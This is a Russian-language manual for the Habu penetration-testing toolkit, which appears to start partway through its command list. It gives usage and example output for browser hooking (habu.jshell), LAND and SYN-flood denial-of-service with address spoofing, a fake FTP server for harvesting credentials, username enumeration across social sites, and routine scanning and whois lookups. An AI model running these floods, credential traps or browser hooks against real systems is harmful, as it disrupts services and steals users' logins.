Используя habu.jshell вы можете полностью контролировать веб-браузер.

Ссылка: https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API

Пример:

 habu.jshell
  >> Listening on 192.168.0.10:3333. Waiting for a victim connection.
  >> HTTP Request received from 192.168.0.15. Sending hookjs
  >> Connection from 192.168.0.15
  $ _sessions
  0 * 192.168.0.15:33432 Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
  $ _info
  {
      "user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0",
      "location": "http://192.168.0.10:3333/",
      "java-enabled": false,
      "platform": "Linux x86_64",
      "app-code-name": "Mozilla",
      "app-name": "Netscape",
      "app-version": "5.0 (X11)",
      "cookie-enabled": true,
      "language": "es-AR",
      "online": true
  }
  $ document.location
  http://192.168.0.10:3333/

Опции:

  -v          Подробный вывод
  -i TEXT     IP для прослушивания
  -p ЧИСЛО  Порт для прослушивания
  --help      Показать справку и выйти.

habu.karma

Использование:

habu.karma [ОПЦИИ] ХОСТ

Используется сервис Karma: https://karma.securetia.com для проверки IP по различным спискам репутации и анализа угроз.

Пример:

habu.karma www.google.com
  www.google.com -> 64.233.190.99
  [
      "hphosts_fsa",
      "hphosts_psh",
      "hphosts_emd"
  ]

Примечание: вы можете использовать имя хоста или IP в качестве хоста для запроса.

Опции:

  --help  Показать справку и выйти.

habu.karma.bulk

Использование:

habu.karma.bulk [ОПЦИИ] [INFILE]

Показывает, какие IP адреса в чёрном списке используя онлайн сервис Karma.

Пример:

cat /var/log/auth.log | habu.extract.ipv4 | habu.karma.bulk
  172.217.162.4   spamhaus_drop,alienvault_spamming
  23.52.213.96    CLEAN
  190.210.43.70   alienvault_malicious

Опции:

  --json  вывод в формате JSON
  --bad   Показать только пункты из чёрного списка
  -v      Подробный вывод
  --help  Показать справку и выйти.

habu.land

Использование:

habu.land [ОПЦИИ] IP

Эта команда реализует атаку LAND, которая отправляет пакеты, в которых в качестве исходного адреса указан ненастоящий адрес, а такой же IP адрес как и конечный IP. Также использует одинаковые порты отправки и назначения.

Это очень старая атака и может использоваться для вызова Отказа в обслуживании на старых системах, таких как Windows NT 4.0. Больше информации здесь: https://en.wikipedia.org/wiki/LAND

Пример:

sudo habu.land 172.16.0.10
  ............

Примечание: каждая точка (.) представляет собой отправленный пакет. С помощью опции '-c' вы можете указать, как много пакетов отправить. По умолчанию программа никогда не остановится. Также вы можете указать порт назначения используя опцию '-p'

Опции:

  -c ЧИСЛО  Как много пакетов отправить (по умолчанию: бесконечно)
  -p ЧИСЛО  Порт для использования (по умолчанию: 135)
  -i TEXT     Интерфейс для использования
  -v          Подробность вывода
  --help      Показать справку и выйти.

habu.nc

Использование:

habu.nc [OPTIONS] ХОСТ ПОРТ

Некоего рода заменитель netcat/ncat.

Эта команда эмулирует поведение популярных инструментов netcat и ncat.

Смотрите статью Как пользоваться netcat (nc), ncat.

Пример:

habu.nc --crlf www.portantier.com 80
  Connected to 45.77.113.133 80
  HEAD / HTTP/1.0

  HTTP/1.0 301 Moved Permanently
  Date: Thu, 26 Jul 2018 21:10:51 GMT
  Server: OpenBSD httpd
  Connection: close
  Content-Type: text/html
  Content-Length: 443
  Location: https://www.portantier.com/

Опции:

  --family [4|6|46]            Семейство IP адресов
  --ssl                        Включить SSL
  --crlf                       Использовать CRLF в качестве последовательности EOL (конец строки)
  --protocol [tcp|udp]         Уровень 4 протокола для использования
  --source-ip TEXT             IP источника для использования
  --source-port ЧИСЛО ДИАПАЗОН  Исходный порт для использования
  --help                       Показать справку и выйти.

habu.nmap.excluded

Использование:

habu.nmap.excluded [ОПЦИИ]

Печатает случайный порт, который отсутствует в файле nmap-services, то есть который автоматически не сканируется программой nmap.

Полезно при настройке своих служб вроде SSH или RDP, если вы хотите, чтобы они работали на нестандартных портах, которые не будут автоматически просканированы nmap.

Пример:

habu.nmap.excluded
  58567

Опции:

  -l ЧИСЛО ДИАПАЗОН  Самый низкий порт для рассмотрения
  -h ЧИСЛО ДИАПАЗОН  Самый высокий порт для рассмотрения
  --help            Показать справку и выйти.

habu.nmap.open

Использование:

habu.nmap.open [ОПЦИИ] SCANFILE

Считывает файл отчёта nmap и печатает открытые порты.

Из сгенерированного отчёта nmap извлекает только открытые и выводит их в виде результирующего списка, в котором найденные открытые порты перечислены через запятую.

Этот инструмент и полученный список портов вы можете использовать для быстрого включения в команду запуска другого инструмента.

Поддерживаются и определяются 3 формата вывода (nmap, gnmap и xml).

Пример:

habu.nmap.open portantier.nmap
  22,80,443

Опции:

  -p [tcp|udp|sctp]  Протокол (по умолчанию=tcp)
  --help             Показать справку и выйти.

habu.nmap.ports

Использование:

habu.nmap.ports [ОПЦИИ] SCANFILE

Считывает отчёт nmap и выводит просканированные порты.

Из сгенерированного файла вывода nmap находит и выводит список всех протестированных портов при условии, что в настройках запуска команды nmap было указано сохранять в отчёт информацию как об открытых, так и о закрытых портах. Если в отчёте имеется информация только об открытых портах, то эта команда ведёт себя также как и habu.nmap.open, то есть покажет только открытые порты.

Этот инструмент и полученный список портов вы можете использовать для быстрого включения в команду запуска другого инструмента.

Поддерживаются и определяются 3 формата вывода (nmap, gnmap и xml).

Пример:

habu.nmap.ports portantier.nmap
  21,22,23,80,443

Опции:

  -p [tcp|udp|sctp]  Протокол (по умолчанию=tcp)
  --help             Показать справку и выйти.

habu.ping

Использование:

habu.ping [ОПЦИИ] IP

Классический инструмент пингования, которые отправляет запросы ICMP echo.

Пример:

habu.ping 8.8.8.8
  IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
  IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
  IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
  IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding

Опции:

  -i TEXT     Какой интерфейс использовать (по умолчанию: auto)
  -c ЧИСЛО  Как много пакетов отправить (по умолчанию: бесконечно)
  -t ЧИСЛО  Время ожидания ответа в секундах (по умолчанию: 2)
  -w ЧИСЛО  Сколько секунд между пакетами (по умолчанию: 1)
  -v          Подробный вывод
  --help      Показать справку и выйти.

habu.protoscan

Использование:

habu.protoscan [ОПЦИИ] IP

Отправляет IP пакеты с различным содержимом полем протокола для определения, какие протоколы 4 уровня доступны.

Вывод показывает, какие протоколы не вызвали ICMP ответ 'protocol-unreachable'.

Пример:

sudo habu.protoscan suip.biz
0    hopopt
1    icmp
2    igmp
3    ggp
4    ipv4
5    st
6    tcp
7    cbt
8    egp
9    igp
10   bbn_rcc_mon
11   nvp_ii
12   pup
14   emcon
15   xnet
16   chaos
17   udp
18   mux
19   dcn_meas
20   hmp
21   prm
22   xns_idp
23   trunk_1
24   trunk_2
25   leaf_1
26   leaf_2
27   rdp
28   irtp
29   iso_tp4
30   netblt
31   mfe_nsp
32   merit_inp
33   dccp
34   n_3pc
35   idpr
36   xtp
37   ddp
38   idpr_cmtp
39   tp__
40   il
41   ipv6
42   sdrp
43   ipv6_route
44   ipv6_frag
45   idrp
46   rsvp
47   gre
48   dsr
49   bna
51   ah
52   i_nlsp
54   narp
55   mobile
56   tlsp
57   skip
58   ipv6_icmp
59   ipv6_nonxt
60   ipv6_opts
62   cftp
64   sat_expak
65   kryptolan
66   rvd
67   ippc
69   sat_mon
70   visa
71   ipcv
72   cpnx
73   cphb
74   wsn
75   pvp
76   br_sat_mon
77   sun_nd
78   wb_mon
79   wb_expak
80   iso_ip
81   vmtp
82   secure_vmtp
83   vines
84   iptm
85   nsfnet_igp
86   dgp
87   tcf
88   eigrp
89   ospfigp
90   sprite_rpc
91   larp
92   mtp
93   ax_25
94   ipip
96   scc_sp
97   etherip
98   encap
100  gmtp
101  ifmp
102  pnni
103  pim
104  aris
105  scps
106  qnx
107  a_n
108  ipcomp
109  snp
110  compaq_peer
111  ipx_in_ip
112  vrrp
113  pgm
115  l2tp
116  ddx
117  iatp
118  stp
119  srp
120  uti
121  smp
123  ptp
125  fire
126  crtp
127  crudp
128  sscopmce
129  iplt
130  sps
131  pipe
132  sctp
133  fc
134  rsvp_e2e_ignore
136  udplite
137  mpls_in_ip
138  manet
139  hip
140  shim6
141  wesp
142  rohc
255  reserved

Опции:

  -i TEXT     Интерфейс для использования
  -t ЧИСЛО  Таймаут для каждого зонда (по умолчанию: 2 секунды)
  --all       Зондировать все протоколы (по умолчанию: Определено в /etc/protocols)
  -v          Подробный вывод
  --help      Показать справку и выйти.

habu.select

Использование:

habu.select [ОПЦИИ] ПОЛЕ

Выбирает указанные поля из вывода в формате JSON.

Пример:

cat /var/log/auth.log | habu.extract.ipv4 | habu.expand | habu.filter cc eq US | habu.select asset
  8.8.8.7
  8.8.8.8
  8.8.8.9

Опции:

  -i ИМЯ_ФАЙЛА  Файл ввода (По умолчанию: stdin)
  -v           Подробный вывод
  --json       Вывод в формате JSON
  --help       Показать справку и выйти.

habu.server.ftp

Использование:

habu.server.ftp [ОПЦИИ]

Простой фальшивый FTP сервер, который служит цели только кражи учётных данных пользователя.

Поддерживает SSL/TLS.

Пример:

sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem
  Listening on port 21
  Accepted connection from ('192.168.0.27', 56832)
  Credentials collected from 192.168.0.27! fabian 123456

Опции:

  -a TEXT          Адрес для привязки (по умолчанию: все)
  -p INTEGER       Какой порт использовать (по умолчанию: 21)
  --ssl            Включить SSL/TLS (по умолчанию: False)
  --ssl-cert TEXT  Файл сертификата SSL/TLS
  --ssl-key TEXT   Файл сертификата SSL/TLS
  -v               Подробный вывод
  --help           Показать справку и выйти.

habu.shodan

Использование:

habu.shodan [ОПЦИИ] IP

Простой клиент shodan API.

Печатает результат запроса к shodan в формате JSON.

Пример:

habu.shodan 216.58.222.36
  asn                      AS15169
  isp                      Google
  hostnames                eze04s06-in-f4.1e100.net, gru09s17-in-f36.1e100.net
  country_code             US
  region_code              CA
  city                     Mountain View
  org                      Google
  open_ports               tcp/443, tcp/80

Опции:

  --cache / --no-cache
  -v                            Подробный вывод
  --format [txt|csv|json|nmap]  Формат вывода
  --help                        Показать справку и выйти.

habu.shodan.query

Использование:

habu.shodan.query [ОПЦИИ] ЗАПРОС

Простой API клиент для запросов к shodan.

Печатает результаты в формате JSON запросов к shodan.

Пример:

habu.shodan 8.8.8.8
  {
      "hostnames": [
          "google-public-dns-a.google.com"
      ],
      "country_code": "US",
      "org": "Google",
      "data": [
          {
              "isp": "Google",
              "transport": "udp",
              "data": "Recursion: enabled",
              "asn": "AS15169",
              "port": 53,
              "hostnames": [
                  "google-public-dns-a.google.com"
              ]
          }
      ],
      "ports": [
          53
      ]
  }

Опции:

  -c           Отключить кэш
  -v           Подробный вывод
  -o ИМЯ_ФАЙЛА  Файл вывода (по умолчанию: stdout)
  --help       Показать справку и выйти.

habu.synflood

Использование:

habu.synflood [ОПЦИИ] IP

Запускает множество TCP подключений и держит их открытыми.

Некоторые очень старые системы могут испытывать Отказ в обслуживании при использовании этого приёма.

Ссылка: https://ru.wikipedia.org/wiki/SYN_flood

Пример:

sudo habu.synflood 172.16.0.10
  .................

Каждая точка — это отправленный пакет.

Вы можете использовать опции '-2' и '-3' для подделки адресов уровней 2/3 (канального и межсетевого, то есть MAC и IP адресов).

Если вы используете их, каждое подключение будет отправлено со случайного адреса второго уровня (MAC) и/или адреса уровня 3 (IP).

Вы можете выбрать количество подключений, которое нужно создать, это делается опцией '-c'. По умолчанию никогда не останавливается в создании подключений.

Примечание: если вы отправляете пакеты с вашего реального IP адреса и вы хотите держать ваши подключения полуоткрытыми, вам нужно настроить файервол не отправлять пакеты RST (сброса соединения).

Опции:

  -i TEXT     Какой интерфейс использовать (по умолчанию: автоматически)
  -c ЧИСЛО  Как много пакетов отправить (по умолчанию: бесконечно)
  -p ЧИСЛО  Port to use (по умолчанию: 135)
  -2          Подделывать адреса layer2/MAC (по умолчанию: Нет)
  -3          Подделывать адреса layer3/IP (по умолчанию: Нет)
  -v          Подробный вывод
  --help      Показать справку и выйти.

habu.tcpflags

Использование:

habu.tcpflags [ОПЦИИ] IP

Отправляет TCP пакеты с различными флагами и говорит, какие ответы получены.

Может использовать для анализа как различные реализации TCP/IP стэка и конфигурации отвечают на пакеты с различными комбинациями флагов.

Пример:

sudo habu.tcpflags www.portantier.com
  S  -> SA
  FS -> SA
  FA -> R
  SA -> R

По умолчанию, команда отправляет все возможные комбинации флагов. С опцией '-f' вы можете указать, какие флаги должны всегда присутствовать (уменьшая количество возможных комбинаций).

Также опцией '-r' вы можете определить, какие флаги вы хотите, чтобы присутствовали в показываемых пакетах ответа.

Следующей командой вы увидите все возможные комбинации, которые имеют установленный флаг FIN (F) и генерирует ответы, которые содержат флаг RST (R).

Пример:

sudo habu.tcpflags -f F -r R www.portantier.com
  FPA  -> R
  FSPA -> R
  FAU  -> R

Опции:

  -p ЧИСЛО  Порт для использования (по умолчанию: 80)
  -f TEXT     Флаги, которые всегда должны отправляться (по умолчанию: комбинации из всех возможных флагов)
  -r TEXT     Фильтровать флаги ответов (по умолчанию: показать все ответы)
  -v          Подробный вывод
  --help      Показать справку и выйти.

habu.tcpscan

Использование:

habu.tcpscan [ОПЦИИ] IP

Сканер портов TCP.

Выводит порты, которые сгенерировали ответ с флагом SYN или (или используется флаг -a), все порты, которые сгенерировали ответ.

Это очень простой сканер, если сравнивать с nmap.

Пример:

sudo habu.tcpscan -p 22,23,80,443 -s 1 45.77.113.133
  22 S -> SA
  80 S -> SA
  443 S -> SA

Опции:

  -p TEXT     Порты для использования (по умолчанию: 80) пример: 20-23,80,135
  -i TEXT     Интерфейс для использования
  -f TEXT     Флаги для использования (по умолчанию: S)
  -s TEXT     Время между зондами (по умолчанию: отправляет все пакеты вместе)
  -t ЧИСЛО  Таймаут для каждого зонда (по умолчанию: 2 секунды)
  -a          Показать все ответы (по умолчанию: только содержащие флаг SYN)
  -v          Подробный вывод
  --help      Показать справку и выйти.

habu.traceroute

Использование:

habu.traceroute [ОПЦИИ] IP

TCP трассировка.

Выявляет все сетевые узлы через которые проходит, пакет пока доберётся до пункта назначения. Принцип работы основывается на отправки пакетов с различным небольшим временем жизни и получении сообщений ttl-zero-during-transit

Подробности смотрите в статье «Трассировка сетевого маршрута».

Примечание: в Интернете до одного и того же хоста может быть несколько действительных путей.

Дополнительную информацию об этом смотрите в статье «Трассировка сетей со сложной топологией. Выявление NAT».

Пример:

sudo habu.traceroute 45.77.113.133
  IP / ICMP 192.168.0.1 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror
  IP / ICMP 10.242.4.197 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding
  IP / ICMP 200.32.127.98 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding
  .
  IP / ICMP 4.16.180.190 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror
  .
  IP / TCP 45.77.113.133:http > 192.168.0.5:ftp_data SA / Padding

Примечание: лучше если использовать порт, который открыт на удалённой системе.

Опции:

  -p ЧИСЛО  Порт для использования (по умолчанию: 80)
  -i TEXT     Интерфейс для использования
  --help      Показать справку и выйти.

habu.usercheck

Использование:

habu.usercheck [ОПЦИИ] ИМЯ_ПОЛЬЗОВАТЕЛЯ

Проверяет, существует ли данное имя пользователя в различных социальных сетях и других популярных сайтах.

Пример:

habu.usercheck portantier
  {
      "aboutme": "https://about.me/portantier",
      "disqus": "https://disqus.com/by/portantier/",
      "github": "https://github.com/portantier/",
      "ifttt": "https://ifttt.com/p/portantier",
      "lastfm": "https://www.last.fm/user/portantier",
      "medium": "https://medium.com/@portantier",
      "pastebin": "https://pastebin.com/u/portantier",
      "pinterest": "https://in.pinterest.com/portantier/",
      "twitter": "https://twitter.com/portantier",
      "vimeo": "https://vimeo.com/portantier"
  }

Опции:

  -c      Отключить кэш
  -v      Подробный вывод
  -w      Открыть каждый валидный url в веб-браузере
  --help  Показать справку и выйти.

habu.version

Использование:

habu.version [ОПЦИИ]

Опции:

  --help  Показать справку и выйти.

habu.vhosts

Использование:

habu.vhosts [ОПЦИИ] ХОСТ

Использует запросы к Bing для получения списка веб-сайтов, которые размещены на одном IP адресе.

Пример:

habu.vhosts www.telefonica.com
  www.telefonica.com -> 212.170.36.79
  [
      'www.telefonica.es',
      'universitas.telefonica.com',
      'www.telefonica.com',
  ]

Опции:

  -c          Отключить кэш
  -p ЧИСЛО  Счётчик страниц (По умолчанию: 10)
  -f ЧИСЛО  Первый результат для получения (По умолчанию: 1)
  --help      Показать справку и выйти.

habu.virustotal

Использование:

habu.virustotal [ОПЦИИ] ВВОД

Отправляет файл в VirusTotal https://www.virustotal.com/ и выводит отчёт о проверки файла на вирусы в формате JSON.

Примечание: перед отправкой файла, проверит, был ли файл проанализирован ранее (отправит sha256 этого файла), если отчёт существует, то настоящий файл отправляться не будет, а будет показан последний отчёт.

Пример:

habu.virustotal meterpreter.exe
  Verifying if hash already submitted: f4826b219aed3ffdaa23db26cfae611979bf215984fc71a1c12f6397900cb70d
  Sending file for analysis
  Waiting/retrieving the report...
  {
      "md5": "0ddb015b5328eb4d0cc2b87c39c49686",
      "permalink": "https://www.virustotal.com/file/c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23/analysis/1526850717/",
      "positives": 49,
      "resource": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
      "response_code": 1,
      "scan_date": "2018-05-20 21:11:57",
      "scan_id": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23-1526850717",
      "scans": {
          "ALYac": {
              "detected": true,
              "result": "Trojan.CryptZ.Gen",
              "update": "20180520",
              "version": "1.1.1.5"
          },
          ... The other scanners ...
      },
      "sha1": "5fa33cab1729480dd023b08f7b91a945c16d0a9e",
      "sha256": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
      "total": 67,
      "verbose_msg": "Scan finished, information embedded"
  }

Опции:

  -v      Подробный вывод
  --help  Показать справку и выйти.

habu.web.report

Использование:

habu.web.report [ОПЦИИ] [ФАЙЛ_ВВОДА]

Создаёт отчёт, который включает HTTP заголовки веб-сайта.

Опционально, использует Firefox или Chromium для создания скриншота веб-сайтов.

В качестве ожидаемого формата должен быть один URL на строку.

Создаёт директорию с именем 'report' в который записывает полученный контент.

Пример:

echo https://www.portantier.com | habu.web.report

Опции:

  -v                             Подробный вывод
  -s                             Сделать скриншот веб-сайта
  -b [firefox|chromium-browser]  Используемый для создания скриншота браузер.
  --help                         Показать справку и выйти.

habu.web.screenshot

Использование:

habu.web.screenshot [OPTIONS] URL

Исполььзует Firefox или Chromium для создания скриншота веб-сайта.

Пример:

habu.web.screenshot https://www.portantier.com

Опции:

  -b [firefox|chromium-browser]  Используемый для создания скриншота браузер.
  -o TEXT                        Файл вывода. (по умолчанию: screenshot.png)
  --help                         Показать справку и выйти.

habu.whois.domain

Использование:

habu.whois.domain [ОПЦИИ] ДОМЕН

Простой клиент whois для проверки доменных имён.

Пример:

habu.whois.domain google.com
  registrar                MarkMonitor, Inc.
  whois_server             whois.markmonitor.com
  creation_date            1997-09-15 04:00:00
  expiration_date          2028-09-14 04:00:00
  name_servers             ns1.google.com, ns2.google.com, ns3.google.com, ns4.google.com
  emails                   abusecomplaints@markmonitor.com, whoisrequest@markmonitor.com
  dnssec                   unsigned
  org                      Google LLC
  country                  US
  state                    CA

Опции:

  --json  Печатает вывод в формате JSON
  --csv   Печатает вывод в формате CSV
  --help  Показать справку и выйти.

habu.whois.ip

Использование:

habu.whois.ip [ОПЦИИ] IP

Простой whois клиент для проверки IP адресов (IPv4 и IPv6).

Пример:

habu.whois.ip 8.8.4.4
  asn                      15169
  asn_registry             arin
  asn_cidr                 8.8.4.0/24
  asn_country_code         US
  asn_description          GOOGLE - Google LLC, US
  asn_date                 1992-12-01

Опции:

  --json  Печатает вывод в формате JSON
  --csv   Печатает вывод в формате CSV
  --help  Показать справку и выйти.

habu.xor

Использование:

habu.xor [ОПЦИИ]

Шифрование с помощью XOR.

Помните: XOR не является сколько-нибудь надёжным шифрованием. Если вам нужно сильное шифрование, то используйте алгоритмы вроде AES. Для этого вы можете использовать модуль habu.fernet.

Пример:

habu.xor -k mysecretkey -i /bin/ls > xored
habu.xor -k mysecretkey -i xored > uxored
sha1sum /bin/ls uxored
6fcf930fcee1395a1c95f87dd38413e02deff4bb  /bin/ls
6fcf930fcee1395a1c95f87dd38413e02deff4bb  uxored

Опции:

  -k TEXT      Ключ шифрования
  -i ИМЯ_ФАЙЛА  Файл ввода (по умолчанию: stdin)
  -o ИМЯ_ФАЙЛА  Файл вывода (по умолчанию: stdout)
  --help       Показать справку и выйти.

Руководство по Habu

Страница man отсутствует.

Примеры запуска Habu

Показать все устройства в локальной сети, их MAC адреса, IP адреса и производителя устройства:

sudo habu.arp.sniff

Чтобы узнать MAC адрес устройства в локальной сети по известному IP адресу:

sudo habu.arp.ping -v 192.168.1.1

Для вычисления хешей файла yandex.nmap.txt по различным алгоритмам:

habu.hasher yandex.nmap.txt

Для вычисления хешей строки СТРОКА по различным алгоритмам:

echo СТРОКА | habu.hasher

Получение всех заголовков ответа сайта https://yandex.ru:

habu.http.headers https://yandex.ru

Чтобы показать все интерфейсы в системе и их MAC и IP адреса:

sudo habu.interfaces

Чтобы узнать свой публичный IP адрес:

habu.ip

Чтобы узнать свой публичный IPv6 адрес:

habu.ip -6

Для получения краткой информации об IP, об организации к которой он принадлежит и о диапазоне, в который входит указанный IP адрес:

habu.ip2asn 171.5.236.74

Вывод информации о всех сетевых интерфейсах в системе и MAC адресах с IP адресами:

habu.ip.internal

Создать 15 (-c 15) TCP подключений и начертить граф (-g) номеров начальных последовательностей TCP для каждого из них:

sudo habu.isn -c 15 suip.biz -g

Сканирование TCP портов 22, 23, 80, 443 (-p 22,23,80,443) на хосте 45.77.113.133 с интервалом отправки пакетов в 1 секунду (-s 1):

sudo habu.tcpscan -p 22,23,80,443 -s 1 45.77.113.133

Выполнить трассировку до хоста suip.biz:

sudo habu.traceroute suip.biz

Поиск имени пользователя miloserdov по социальным сетям и другим популярным веб-сайтам:

habu.usercheck miloserdov

Пример вывода:

{
    "blogger": "http://miloserdov.blogspot.com/",
    "disqus": "https://disqus.com/by/miloserdov/",
    "facebook": "https://www.facebook.com/miloserdov",
    "github": "https://github.com/miloserdov/",
    "lastfm": "https://www.last.fm/user/miloserdov",
    "pinterest": "https://in.pinterest.com/miloserdov/",
    "tumblr": "https://miloserdov.tumblr.com",
    "twitter": "https://twitter.com/miloserdov",
    "wordpress": "https://miloserdov.wordpress.com/"
}

Выполнить проверку на вирусы файла test.cap:

habu.virustotal test.cap

Создать отчёт по сайту https://suip.biz, этот отчёт будет содержать заголовки ответа, а также скриншот страницы веб-сайта, сделанный с помощью веб-браузера Firefox:

echo https://suip.biz | habu.web.report -s -b firefox

Установка Habu

Установка в Kali Linux

sudo pip3 install habu validators
sudo apt install python3-matplotlib python3-tldextract python3-prompt-toolkit

Установка в BlackArch

Программа предустановлена в BlackArch.

sudo pacman -S habu python-tldextract python-matplotlib python-prompt_toolkit
sudo pip3 install python-whois ipwhois netifaces pygments regex validators

Установка в Windows

Вначале установите Python и PIP на Windows. Затем выполните:

pip install habu validators matplotlib tldextract prompt-toolkit

Для работы некоторых функций (например, для трассировки) нужна установленная программа Winpcap или Npcap. Подробности об этих программах и для чего они нужны, вы можете прочитать в начале статьи «Взлом Wi-Fi без пользователей в Windows (с использованием Wireshark и Npcap для захвата PMKID)».

Вы можете установить отдельно Npcap или более старый вариант Winpcap, но ещё одним вариантом является установка Wireshark в Windows, которая поставляется с Npcap.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты Habu

Устройства в локальной сети:

Рассчёт хеша файла по нескольким алгоритмам:

Заголовки ответа HTTP запроса:

Трассировка:

Поиск имени пользователя по социальным сетям и популярным сайтам:

Ответ по веб-сайту, который включает заголовки ответа и скриншот сайта:

Инструкции по Habu

Близкие программы:

  • XRay (67.2%)
  • Reconnoitre (64.6%)
  • SPARTA (58.1%)
  • RAWR (58.1%)
  • flashlight (57.7%)
  • HTTrack (RANDOM - 50%)
  • Рекомендуется Вам:

    Comments are Closed